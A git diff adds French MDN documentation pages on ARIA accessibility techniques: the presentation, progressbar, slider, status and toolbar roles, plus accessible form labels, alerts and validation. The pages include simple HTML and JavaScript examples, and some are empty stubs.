Une des recommandations d'accessibilité propose que les couleurs ou les représentations imagées (icônes par exemple) ne soient pas l'unique méthode pour transmettre une information. Ainsi nous pouvons partir du postula que votre icône est un complément décoratif à un texte explicite. Il faut donc lui appliquer un rôle presentation.

+ +
<i class="icon-user" role="presentation"></i>
+
+ +

Exemples concrets :

+ +

Par exemple, en reprenant le bouton de la navigation principale de ce site web, nous pourrions écrire.

+ +
<button type="button" aria-haspopup="true">
+    Technologies
+    <span class="main-menu-arrow" role="presentation">▼</span>
+</button>
+
+ +

Exemple 2 : Inline SVG

+ +

De plus en plus d'images sont proposées sous la forme de compositions SVG directement insérées dans le document HTML. À l'image de l'attribut alt vide sur un élément img, il est possible d'indiquer qu'un élément SVG est purement décoratif grave au rôle presentation.

+ +
<svg role="presentation">
+…
+</svg>
+ +
    +
+ +

Notes

+ +

Attributs ARIA utilisés

+ +

Techniques ARIA connexes

+ +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

+ +

Using Aria - 2.9 Use of Role=presentation or Role=none: https://www.w3.org/TR/using-aria/#presentation

diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_progressbar_role/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_progressbar_role/index.html new file mode 100644 index 0000000000..60fbba02c6 --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_progressbar_role/index.html @@ -0,0 +1,69 @@ +--- +title: Utiliser le rôle progressbar +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_progressbar +tags: + - ARIA + - Accessibilité + - Rôle +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_progressbar_role +--- +

Description

+ +
+

Cette technique présente l’utilisation du rôle progressbar.

+
+ +

Le rôle progressbar devrait être utilisé pour un élément qui affiche la progression d’un tâche prenant un certain temps ou s’effectuant en plusieurs étapes.

+ +

Une barre de progression indique que la requête de l’utilisateur a été prise en compte et que l’application progresse vers la finalisation de l’action demandée. Si la valeur courante de la barre de progression peut être connue, le développeur pourra indiquer la progression à l’aide des attributs aria-valuenow, aria-valuemin et aria-valuemax. Si la valeur de progression est indéterminée, le développeur peut omettre l’attribut aria-valuenow.

+ +

Lorsqu’une tâche progresse, la valeur aria-valuenow doit être dynamiquement actualisée pour indiquer la progression aux produits de technologies d’assistance.

+ +

Si le rôle progressbar décrit la progression du chargement d’une zone particulière d’une page, l’auteur DOIT utiliser l’attribut aria-describedby pour pointer vers l’état courant, et définir l’attribut aria-busy à true pour la zone jusqu’à la fin du chargement. Il n’est pas possible à l’utilisateur de modifier la valeur de progressbar car elle est toujours en lecture seule.

+ +
Note : généralement les technologies d’assistance retourneront la valeur de l’attribut aria-valuenow sous la forme d’un pourcentage d’une plage de valeurs comprise entre aria-valuemin et aria-valuemax, sauf si aria-valuetext est spécifié. Il est préférable de définir les valeurs pour les attributs aria-valuemin, aria-valuemax et aria-valuenow de façon appropriée pour ce calcul.
+ +
Note : les éléments possédant le rôle progressbar ont une valeur aria-readonly implicite définie à true.
+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +

Les lecteurs devraient annoncer les mises à jour de la progression dès qu’elles se produisent. Si la barre de progression a un label, il devrait également être mentionné.

+ +
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Exemple 1 : barre de progression simple avec pourcentage de progression

+ +
<div role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">20 %</div>
+
+ +

Exemple 2 : Utilisation de aria-valuetext

+ +
<div role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuetext="Étape 2 : Copie des fichiers…" aria-valuemax="100">
+  Étape 2 : Copie des fichiers…
+</div>
+
+
+ +

Exemples concrets :

+ +

Notes

+ +

Attributs ARIA utilisés

+ + + +

Techniques ARIA connexes

+ +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_radio_role/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_radio_role/index.html new file mode 100644 index 0000000000..db1bb8281e --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_radio_role/index.html @@ -0,0 +1,41 @@ +--- +title: Utilisation du groupe rôle +slug: Accessibilité/ARIA/Techniques_ARIA/Utilisation_du_groupe_rôle +tags: + - NeedsContent +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_radio_role +--- +

 

+ +

Description

+ +

 

+ +

Effets possibles sur les agents utilisateurs et les technologies d'assistance

+ +
Note:il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ici est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Exemple 1 : 

+ +

 

+ +
Code
+ +

Exemples concrets :

+ +
    +
+ +

Notes 

+ +

Attributs ARIA utilisés

+ +

Techniques ARIA connexes

+ +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_slider_role/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_slider_role/index.html new file mode 100644 index 0000000000..81653c4e28 --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_slider_role/index.html @@ -0,0 +1,120 @@ +--- +title: Utiliser le rôle slider +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_slider +tags: + - ARIA + - Accessibilité + - Rôle +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_slider_role +--- +

Description

+ +
+

Cette technique présente l’utilisation du rôle slider.

+
+ +

Le rôle slider est utilisé pour des balises qui permettent à l'utilisateur de sélectionner une valeur dans un intervalle donné. Le rôle slider est assigné à la « molette », le contrôle qui est ajusté pour modifier la valeur. Typiquement, un autre élément est stylé pour représenter visuellement l'intervalle de valeurs possibles, et le curseur est positionné visuellement pour représenter la valeur dans cet intervalle. Lorsque l'utilisateur interagit avec la molette, l'application doit programmatiquement ajuster l'attribut aria-valuenow du curseur de défilement (et si possible aria-valuetext) pour refléter la valeur courante. Voir la section {{ anch("Exemples") }} ci-dessous pour plus d'informations.

+ +

Clavier et focus

+ +

Le curseur doit pouvoir recevoir le focus et être manipulable au clavier. Lorsque l'utilisateur tabule pour amener le focus sur le curseur, il doit arriver sur la molette : le contrôle qu'un utilisateur de souris fera glisser. Les touches flèches doivent agir de la façon suivante (attention toutefois, dans les applications, aux directions de flèches pour les langues s'écrivant de droite à gauche) :

+ + + + + + + + + + + + + + + + + + + + + + +
Touche(s)Action
Flèches haut et droiteAugmente la valeur sélectionnée
Flèches bas et gaucheBaisse la valeur sélectionnée
Page haut et Page basAugmente ou baisse facultativement la valeur selon un pas prédéfini (par exemple de 10 en 10 dans un intervalle de 0 à 100)
+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Exemple 1 : Intervalle numérique simple

+ +

Dans l'exemple ci-dessous, un simple curseur est utilisé pour sélectionner une valeur entre 1 et 100. Le volume courant est 60. L'application actualisera programmatiquement la valeur de aria-valuenow en réponse à l'action de l'utilisateur.

+ +
<div id="slider-label">Volume</div>
+
+<div class="vol-slider">
+  <a href="#" id="vol-handle" class="handle" role="slider" aria-labelledby="slider-label"
+    aria-valuemin="1"
+    aria-valuemax="100"
+    aria-valuenow="60">
+  </a>
+</div>
+
+ +

Exemple 2 : Valeurs texte

+ +

Parfois, un slider est utilisé pour choisir une valeur qui n'est pas, sémantiquement , un nombre. Dans ces cas là, l'attribut aria-valuetext est utilisé pour donner le texte approprié pour la valeur sélectionnée. Dans l'exemple ci-dessous, le slider est utilisé pour sélectionner un jour de la semaine .

+ +
<div id="slider-label">Jour de la semaine :</div>
+
+<div class="day-slider">
+  <a href="#" id="day-handle" class="day-slider-handle" role="slider" aria-labelledby="slider-label"
+    aria-valuemin="1"
+    aria-valuemax="7"
+    aria-valuenow="2"
+    aria-valuetext="Lundi">
+  </a>
+</div>
+
+ +

L'extrait de code ci-dessous décrit une fonction qui répond à l'action de l'utilisateur et actualise les attributs aria-valuenow et aria-valuetext :

+ +
var dayNames = ["Dimanche", "Lundi", "Mardi", "Mercredi", "Jeudi", "Vendredi", "Samedi"];
+var updateSlider = function (newValue) {
+    var handle = document.getElementById("day-handle");
+    handle.setAttribute("aria-valuenow", newValue.toString());
+    handle.setAttribute("aria-valuetext", dayNames[newValue]);
+};
+
+ +

Exemples concrets :

+ + + +

Notes

+ +

Attributs ARIA utilisés

+ + + +

Techniques ARIA connexes

+ +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

+ + diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_status_role/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_status_role/index.html new file mode 100644 index 0000000000..46fb52e131 --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_status_role/index.html @@ -0,0 +1,50 @@ +--- +title: Utiliser le rôle status +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_status +tags: + - ARIA + - Accessibilité + - Rôle +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_status_role +--- +

Description

+
+

Cette technique présente l’utilisation du rôle status et décrit les effets produits sur les navigateurs et les technologies d’assistance.

+
+

Le rôle status est un type de zone live et un conteneur dont le contenu est un message d’informations destiné à l’utilisateur. Ce message n’est pas assez important pour justifier une alerte. Il est souvent présenté comme une barre d’état. Lorsque le rôle est ajouté à un élément, le navigateur émettra un événement status accessible aux produits de technologies d’assistance qui pourront alors le notifier à l’utilisateur.

+

Le contenu des informations d’état doit être fourni dans un objet d’état et il faut s’assurer que cet objet ne reçoive pas le focus. Si une autre partie de la page contrôle ce qui s’affiche dans l’objet d’état, la relation doit être explicitement définie à l’aide de l’attribut aria-controls.

+

Les technologies d’assistance devraient réserver des cellules dans la grille Braille pour rendre l’état.

+

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+

Lorsque le rôle status est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes :

+
    +
  • Présenter l’élément ayant un rôle de status à l’API d’accessibilité du système d’exploitation ;
    • +
  • Déclencher un événement status accessible à l’aide l’API d’accessibilité du système d’exploitation si elle le prend en charge.
    • +
+

Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence :

+
    +
  • Les lecteurs d’écran peuvent fournir une touche spécifique pour annoncer l’état actuel et ce dernier devrait présenter les contenus des états des zones live. Cela devrait être annoncé lorsque l'utilisateur est inactif, à moins que l'attribut aria-live=”assertive” soit défini dans quel cas l'utilisateur peut être interrompu ;
    • +
  • Les loupes d’écran devraient agrandir l’objet d’état.
    • +
+
+ Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+

Exemples

+

Exemple 1 : ajout du rôle status dans le code HTML

+

L’extrait de code ci-dessous montre comment le rôle status est ajouté directement dans le code source HTML.

+
<p role="status">Vos modifications ont été automatiquement enregistrées.</p>
+
+

Exemples concrets :

+

Notes

+

Attributs ARIA utilisés

+ +

Techniques ARIA connexes

+ +

Compatibilité

+

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+

Autres ressources

+
    +
  • Bonnes pratiques ARIA – Implémentation des zones live : #LiveRegions.
    • +
diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_toolbar_role/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_toolbar_role/index.html new file mode 100644 index 0000000000..890b809cba --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_toolbar_role/index.html @@ -0,0 +1,30 @@ +--- +title: Utiliser le rôle toolbar +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_toolbar +tags: + - ARIA + - Accessibilité + - NeedsContent + - Rôle +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_toolbar_role +--- +

Description

+
+  
+

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+

 

+
+ Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+

Exemples

+

Exemple 1 :

+

 

+
Code
+

Exemples concrets :

+
    +
+

Notes

+

Attributs ARIA utilisés

+

Techniques ARIA connexes

+

Compatibilité

+

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+

Autres ressources

diff --git a/files/fr/web/accessibility/aria/forms/alerts/index.html b/files/fr/web/accessibility/aria/forms/alerts/index.html new file mode 100644 index 0000000000..24afd909f4 --- /dev/null +++ b/files/fr/web/accessibility/aria/forms/alerts/index.html @@ -0,0 +1,157 @@ +--- +title: Alertes +slug: Accessibilité/ARIA/formulaires/Alertes +tags: + - ARIA + - Accessibilité + - Développement Web + - Formulaire +translation_of: Web/Accessibility/ARIA/forms/alerts +--- +

Le problème

+ +

Vous avez un formulaire – par exemple un formulaire de contact – pour lequel vous voulez ajouter des contrôles d’erreurs accessibles. Les problèmes les plus courants sont une adresse électronique non valide, ou un nom qui ne contient pas un nom de famille ou un prénom.

+ +

Le formulaire

+ +

Tout d’abord, veuillez lire la technique aria-required pour commencer, si vous ne l’avez pas déjà lu, puisque la technique abordée en est le prolongement.

+ +

Voici un formulaire simple :

+ +
<form method="post" action="post.php">
+<fieldset>
+    <legend>Veuillez saisir les détails du contact</legend>
+    <label for="nom">Votre nom (obligatoire):</label>
+    <input name="nom" id="nom" aria-required="true"/>
+    <br />
+    <label for="courriel">Adresse électronique (obligatoire):</label>
+    <input name="courriel" id="courriel" aria-required="true"/>
+    <br />
+    <label for="siteweb">Site Web (facultatif):</label>
+    <input name="siteweb" id="siteweb"/>
+</fieldset>
+<label for="message">Veuillez saisir votre message (obligatoire):</label>
+<br />
+<textarea name="message" id="message" rows="5" cols="80"
+        aria-required="true"></textarea>
+<br />
+<input type="submit" name="submit" value="Envoyer le message"/>
+<input type="reset" name="reset" value="Réinitialiser le formulaire"/>
+</form>
+
+ +

Simple et direct, mais nous ne sommes pas là pour gagner un prix de beauté. :-)

+ +

Vérification de la validité et avertissement de l’utilisateur

+ +

Vérifier la validité et avertir l’utilisateur se déroule en plusieurs étapes :

+ +
    +
  1. Vérifions que l’adresse électronique pour le nom saisi sont valides. Pour rester simple, nous vérifions si l’adresse contient un symbole « @ », et si le nom saisi contient au moins une espace « [ ] ».
    2. +
  2. Définissons l’attribut aria-invalid du champ et donnons lui la valeur true.
    3. +
  3. Notifions à l’utilisateur via une alerte que la valeur saisie n’est pas correcte. Plutôt que d’utiliser la boîte de dialogue envahissante créée par la fonction JavaScript alert, nous utiliserons pour ceci un simple composant WAI-ARIA. Cela avertira l’utilisateur, mais le laissera continuer à interagir avec le formulaire sans l’interrompre.
    4. +
+ +

Tout ceci se passe lorsque le champ de saisi perd le focus, c’est-à-dire dans le gestionnaire d’événements onblur.

+ +

La code JavaScript obtenu ressemble à ce qui suit, inséré au-dessus de la balise fermante {{ HTMLElement("head") }} :

+ +
<script type="application/javascript">
+function removeOldAlert()
+{
+    var oldAlert = document.getElementById("alert");
+    if (oldAlert)
+        document.body.removeChild(oldAlert);
+}
+<br/>
+function addAlert(aMsg)
+{
+    removeOldAlert();
+    var newAlert = document.createElement("div");
+    newAlert.setAttribute("role", "alert");
+    newAlert.setAttribute("id", "alert");
+    var msg = document.createTextNode(aMsg);
+    newAlert.appendChild(msg);
+    document.body.appendChild(newAlert);
+}
+<br/>
+function checkValidity(aID, aSearchTerm, aMsg)
+{
+    var elem = document.getElementById(aID);
+    var invalid = (elem.value.indexOf(aSearchTerm) < 0);
+    if (invalid) {
+        elem.setAttribute("aria-invalid", "true");
+        addAlert(aMsg);
+    } else {
+        elem.setAttribute("aria-invalid", "false");
+        removeOldAlert();
+    }
+}
+</script>
+
+ +

La fonction checkValidity

+ +

Le cœur est la fonction checkValidity. Elle accepte trois paramètres : l’ID du champ de saisi qui doit être validé, le terme à recherche pour assurer la validité, et le message d’erreur à insérer dans l’alerte.

+ +

Pour déterminer la validité, la fonction vérifie si l’indexOf de la valeur d’entrée est plus grande que -1. Une valeur de -1 ou moins est retournée si l’index du terme recherché n’a pas pu être trouvée dans la valeur.

+ +

Si non valide, la fonction fait deux choses :

+ +
    +
  1. Elle définit l’attribut aria-invalid de l’élément à true, ce qui indiquera au lecteur d’écran que le contenu n’est pas correct.
    2. +
  2. Elle appellera la fonction addAlert pour ajouter une alerte avec le message d’erreur donné.
    3. +
+ +

Si le terme recherché est trouvé, l’attribut aria-invalid est réinitialisé à true. De plus, toute alerte qui subsisterait serait supprimée.

+ +

La fonction addAlert

+ +

Cette fonction commence par enlever toutes les alertes restantes. Son fonctionnement est simple : elle cherche un élément avec un identifiant alert, et si elle en trouve un, l’enlève du modèle objet de document (DOM).

+ +

Ensuite, la fonction crée un élément {{ HTMLElement("div") }} qui contient le texte de l’alerte. On lui attribue l’ID alert. Et son rôle est défini comme celui d’une « alert ». C’est inspiré par ARIA, même si le nom de l’attribut ne comporte par « aria ». Cela découle du fait que ce rôle est basé sur le module XHTML Role Attribut qui a été tout simplement porté sur HTML pour plus de simplicité.

+ +

Le texte est ajouté à l’élément {{ HTMLElement("div") }}, qui est lui-même ajouté au document.

+ +

Au moment où cela se produira, Firefox déclenchera un événement « alert » pour la technologie d’assistance lorsque la {{ HTMLElement("div") }} apparaîtra. La plupart des lecteurs d’écran prendront celui-ci automatiquement et le liront. C’est similaire à la barre de notification de Firefox qui apparaît lorsque vous désirez mémoriser un mot de passe. Cette alerte que nous venons de créer n’a pas de bouton sur lequel cliquer, elle se contente de nous dire ce qui est erroné.

+ +

Ajouter de la magie à l’événement onblur

+ +

Tout ce qu’il reste à faire, c’est ajouter un gestionnaire d’événement. Nous avons besoin de modifier les deux {{ HTMLElement("input") }} de l’adresse électronique et du nom par ce qui suit :

+ +
<input name="nom" id="nom" aria-required="true"
+    onblur="checkValidity('nom', ' ', 'Le nom saisi est invalide&nbsp;!');"/>
+<br />
+<input name="courriel" id="courriel" aria-required="true"
+    onblur="checkValidity('courriel', '@', 'L’adresse électronique saisie est invalide&nbsp;!');"/>
+
+ +

Test de l’exemple

+ +

Si vous utilisez Firefox 3 (ou supérieur) et un lecteur d’écran actuellement pris en charge, essayez ce qui suit :

+ +
    +
  1. Saisissez uniquement votre prénom dans le champ « Nom ». Lorsque vous changerez de champ avec la touche tabulation, vous entendrez une alerte vous avertissant que vous avez saisi un nom invalide. Vous pourrez alors revenir en arrière et corriger l’erreur.
    2. +
  2. Saisissez une adresse électronique sans le symbole « @ ». Lorsque vous changerez de champ avec la touche tabulation, vous devriez entendre un avertissement vous indiquant que vous avez saisi une adresse électronique invalide.
    3. +
+ +

Dans les deux cas, lorsque le focus revient sur le champ concerné, votre lecteur d’écran devrait vous dire que le champ est invalide. JAWS 9 prend en charge cette fonction, mais pas JAWS 8, aussi il se peut que ça ne fonctionne pas pour toutes les versions des lecteurs d’écran pris en charge.

+ +

Quelques questions qu’on peut se poser

+ +
+
Q. Pourquoi mettre à la fois un (required) dans le texte du label et l’attribut aria-required sur certains éléments {{ HTMLElement("input") }} ?
+
R. Si nous avions un véritable formulaire dynamique et que le site était visité par un navigateur ne prenant pas en charge ARIA, nous voudrions tout de même donner une indication sur l’obligation de remplir le champ.
+
Q. Pourquoi ne remettez-vous pas automatiquement le focus sur le champ invalide ?
+
R. Cela n’est pas autorisé par, au moins, la spécification de l’API Windows, et probablement par d’autres. De plus, laisser le focus se déplacer sans réelle intervention de l’utilisateur n’est généralement pas considéré comme une chose à faire.
+
+ +
+

TBD : let's rethink this – personally, I think setting focus might be good if done without causing a keyboard trap.

+ +

()Il faudrait y réfléchir – personnellement, je pense que définir le focus peut être une bonne chose si c’est fait sans causer de perturbation à la navigation au clavier).

+
+ +

Conclusion

+ +

L’accessibilité des sites web est grandement améliorée lorsqu’on fournit des alertes accessibles pour la validation côté client. Il n’y a rien de plus frustrant pour un utilisateur que de remplir un formulaire d’une vingtaine de champs, voire plus, de le soumettre, de constater que seuls quelques champs ne sont pas correctement renseignés et de devoir tout recommencer depuis le début pour s’assurer que les valeurs sont correctement mémorisées, ou de fournir des informations redondantes.

diff --git a/files/fr/web/accessibility/aria/forms/basic_form_hints/index.html b/files/fr/web/accessibility/aria/forms/basic_form_hints/index.html new file mode 100644 index 0000000000..10191bc959 --- /dev/null +++ b/files/fr/web/accessibility/aria/forms/basic_form_hints/index.html @@ -0,0 +1,119 @@ +--- +title: Indications élémentaires pour les formulaires +slug: Accessibilité/ARIA/formulaires/Indications_elementaires_pour_les_formulaires +tags: + - ARIA + - Accessibilité + - Formulaire +translation_of: Web/Accessibility/ARIA/forms/Basic_form_hints +--- +

Labels de formulaire

+ +

Lors de l’implémentation de formulaires à l’aide d’éléments de formulaire HTML classiques, il est important de fournir des labels pour les contrôles et d’associer explicitement un label avec son contrôle. Lorsqu’un utilisateur de lecteur d’écran navigue sur une page, le lecteur d’écran décrit les contrôles de formulaire ; mais sans association directe entre un contrôle et son label, le lecteur d’écran n’a aucun moyen de savoir quel est le label correspondant.

+ +

L’exemple ci-dessous montre un formulaire basique avec des labels. Remarquez que chaque élément {{ HTMLElement("input") }} possède un id, et chaque élément {{ HTMLElement("label") }} a un attribut for indiquant l’id de l’{{ HTMLElement("input") }} associé.

+ +

Exemple 1. Formulaire basique avec labels

+ +
<form>
+  <ul>
+    <li>
+      <input id="vin-1" type="checkbox" value="riesling"/>
+      <label for="vin-1">Berg Rottland Riesling</label>
+    </li>
+    <li>
+      <input id="vin-2" type="checkbox" value="weissbergunder"/>
+      <label for="vin-2">Weissbergunder</label>
+    </li>
+    <li>
+      <input id="vin-3" type="checkbox" value="pinot-grigio"/>
+      <label for="vin-3">Pinot Grigio</label>
+    </li>
+    <li>
+      <input id="vin-4" type="checkbox" value="gewurztraminer"/>
+      <label for="vin-4">Gewürztraminer</label>
+    </li>
+  </ul>
+</form>
+
+ +

Labelliser avec ARIA

+ +

L’élément HTML {{ HTMLElement("label") }} est approprié pour les éléments liés aux formulaires, mais de nombreux contrôles de formulaires sont implémentés sous forme de composants JavaScript dynamiques et utilisent les éléments {{ HTMLElement("div") }} ou {{ HTMLElement("span") }}. WAI-ARIA, la spécification Accessible Rich Internet Applications (Applications Internet Riches Accessibles) de la Web Accessibility Initiative (Initiative pour l’Accessibilité du web) du W3C, fournit l’attribut aria-labelledby dans ces cas de figure.

+ +

L’exemple ci-dessous montre un groupe de boutons radio implémenté à l’aide d’une liste non-ordonnée. Remarquez, à la ligne 3, que l’attribut aria-labelledby de l’élément {{ HTMLElement("ul") }} est défini comme « rg1_label », et est identique à l’id de l’élément {{ HTMLElement("h3") }} de la ligne 1, qui sert de label au groupe de boutons radio.

+ +

Exemple 2. Un groupe de boutons radio implémenté à l’aide d’une liste non-ordonnée (d'après http://www.oaa-accessibility.org/examplep/radio1/)

+ +
<h3 id="rg1_label">Options du déjeuner</h3>
+
+<ul class="radiogroup" id="rg1"  role="radiogroup" aria-labelledby="rg1_label">
+  <li id="r1"  tabindex="-1" role="radio" aria-checked="false">
+    <img role="presentation" src="radio-unchecked.gif" /> Thaï
+  </li>
+  <li id="r2"  tabindex="-1" role="radio"  aria-checked="false">
+    <img role="presentation" src="radio-unchecked.gif" /> Subway
+  </li>
+  <li id="r3"   tabindex="0" role="radio" aria-checked="true">
+    <img role="presentation" src="radio-checked.gif" /> Libanais
+  </li>
+</ul>
+
+ +

Décrire avec ARIA

+ +

Les contrôles de formulaire peuvent parfois avoir une description qui leur est associée, en plus du label. ARIA fournit l’attribut aria-describedby pour associer directement une description à un contrôle donné.

+ +

L’exemple ci-dessous montre un élément {{ HTMLElement("button") }} décrit par une phrase contenue dans un élément {{ HTMLElement("div") }} séparé. L’attribut aria-describedby du {{ HTMLElement("button") }} fait référence à l’id de l’élément {{ HTMLElement("div") }}.

+ +

Exemple 3. Un bouton décrit par un élément séparé.

+ +
<button aria-describedby="descriptionRevert">Annuler</button>
+<div id="descriptionRevert">L’annulation supprimera toutes les modifications
+                    intervenues depuis le dernier enregistrement.</div>
+ +

(Notez que l’attribut aria-describedby est utilisé de différentes façons, en plus des contrôles de formulaires.)

+ +

Champs obligatoires et invalides

+ +

Les développeur Web utilisent souvant des éléments de présentation visuels pour indiquer les champs obligatoires ou invalides, mais les technologies d’assistance ne peuvent pas toujours déduire ces informations à partir de la présentation. ARIA fournit des attributs pour indiquer l’obligation de renseigner un contrôle de formulaire ou la validité de son contenu :

+ +
    +
  • La propriété aria-required peut être appliquée à un élément de formulaire pour indiquer à une technologie d’assistance qu’il est obligatoire pour compléter le formulaire.
    • +
  • L’état aria-invalid peut être programmatiquement appliquée pour indiquer à une technologie d’assistance quel champ contient des données incorrectes, afin que l’utilisateur sache qu’il a saisi des données invalides.
    • +
+ +

L’exemple ci-dessous montre un formulaire simple avec 3 champs. Aux lignes 4 et 12, les attributs aria-required sont définis à true (en plus de l’astérisque en début de champ) indiquant que le nom et l’adresse électronique sont obligatoires. La seconde partie de l’exemple est un snippet JavaScript qui valide le format de l’adresse électronique et qui définit l’attribut aria-invalid du champ « Courriel » (ligne 12 du code HTML) selon le résultat (en plus de la modification de la présentation de l’élément).

+ +

Exemple 4a. Un formulaire avec des champs obligatoires.

+ +
<form>
+  <div>
+    <label for="nom">* Nom :</label>
+    <input type="text" value="nom" id="nom" aria-required="true"/>
+  </div>
+  <div>
+    <label for="telephone">Téléphone :</label>
+    <input type="text" value="telephone" id="telephone" aria-required="false"/>
+  </div>
+  <div>
+    <label for="courriel">* Courriel :</label>
+    <input type="text" value="courriel" id="courriel" aria-required="true"/>
+  </div>
+</form>
+ +

Exemple 4b. Portion d’un script qui valide une entrée de formulaire.

+ +
var validate = function () {
+  var emailElement = document.getElementById(emailFieldId);
+  var valid = emailValid(formData.email); // retourne true si valide, false dans le cas contraire
+
+  emailElement.setAttribute("aria-invalid", !valid);
+  setElementBorderColour(emailElement, valid); // colore la bordure en rouge sur le second argument est false
+};
+ +

Fournir des messages d’erreur utiles

+ +

Découvrez comment utiliser les alertes ARIA pour améliorer les formulaires.

+ +

Pour plus de conseils sur l’utilisation d’ARIA et l’accessibilité des formulaires, consultez le document WAI-ARIA Authoring Practices.

diff --git a/files/fr/web/accessibility/aria/forms/index.html b/files/fr/web/accessibility/aria/forms/index.html new file mode 100644 index 0000000000..e61cd13904 --- /dev/null +++ b/files/fr/web/accessibility/aria/forms/index.html @@ -0,0 +1,19 @@ +--- +title: Formulaires +slug: Accessibilité/ARIA/formulaires +tags: + - ARIA + - Accessibilité + - Développement Web + - Formulaire +translation_of: Web/Accessibility/ARIA/forms +--- +

Les pages suivantes fournissent diverses techniques pour améliorer l’accessibilité des formulaires web :

+ + + +

Voir également l’article Yahoo! à propos de la validation des formulaires et d’ARIA (en anglais) (version archivée par archive.org), couvrant pour une bonne part le même sujet.

diff --git a/files/fr/web/accessibility/aria/forms/multipart_labels/index.html b/files/fr/web/accessibility/aria/forms/multipart_labels/index.html new file mode 100644 index 0000000000..18e7adbe71 --- /dev/null +++ b/files/fr/web/accessibility/aria/forms/multipart_labels/index.html @@ -0,0 +1,41 @@ +--- +title: Labels multi-options +slug: Accessibilité/ARIA/formulaires/Labels_multi-options +tags: + - ARAI + - Accessibilité + - Développement Web + - Formulaire +translation_of: Web/Accessibility/ARIA/forms/Multipart_labels +--- +

Utiliser ARIA avec des labels comportant des champs

+ +

Problème

+ +

Un formulaire pose une question à un utilisateur, mais la zone de réponse est une partie de la phrase qui constitue la question. Un exemple classique que nous connaissons tous dans notre navigateur, c’est la paramètre des préférences « Effacer l’historique après [x] jours. » « Effacer l’historique après » est à la gauche de la boîte texte, « x » est le nombre, par exemple 21, et le mot « jours » suit la boîte texte, formant ainsi un phrase qu'il est facile de comprendre.

+ +

Si vous utilisez un lecteur d’écran, vous devez avoir remarqué que, lorsque vous allez à ce paramètre dans Firefox, il est actuellement écrit « Effacer l’historique après 21 jours ? », suivi par l’annonce que vous vous trouvez dans un boîte texte et qu’elle contient le nombre 21. C’est sympa, non ? Vous n’avez pas besoin de naviguer alentours pour trouver l’unité. « Jours » peut aisément être remplacé par « mois » ou « années », et dans de nombreuses boîtes de dialogues ordinaires, il n’y a aucun autre moyen de le savoir que de naviguer alentours avec les commandes d’examen de l’écran.

+ +

La solution se trouve dans l'attribut ARIA aria-labelledby. Son paramètre est une chaîne qui est la liste des identifiants des éléments HTML que vous voulez concaténer en un seul nom accessible.

+ +

aria-labelledby et aria-describedby sont tous deux spécifiés dans l’élément de formulaire à labelliser, par exemple, un élément {{ HTMLElement("input") }}. Dans les deux cas, les liaisons d’un contrôle <label for>/<label> pouvant exister, sont neutralisées par aria-labelledby. Si, dans une page HTML vous fournissez aria-labelledby, vous devriez également fournir un <label for> afin d’également prendre en charge les anciens navigateurs qui ne prennent pas encore en charge ARIA. Avec Firefox 3, vos utilisateurs malvoyants auront automatiquement une meilleure accessibilité avec le nouvel attribut, mais les utilisateurs de navigateurs plus anciens ne seront pas pour autant laissé dans le noir.

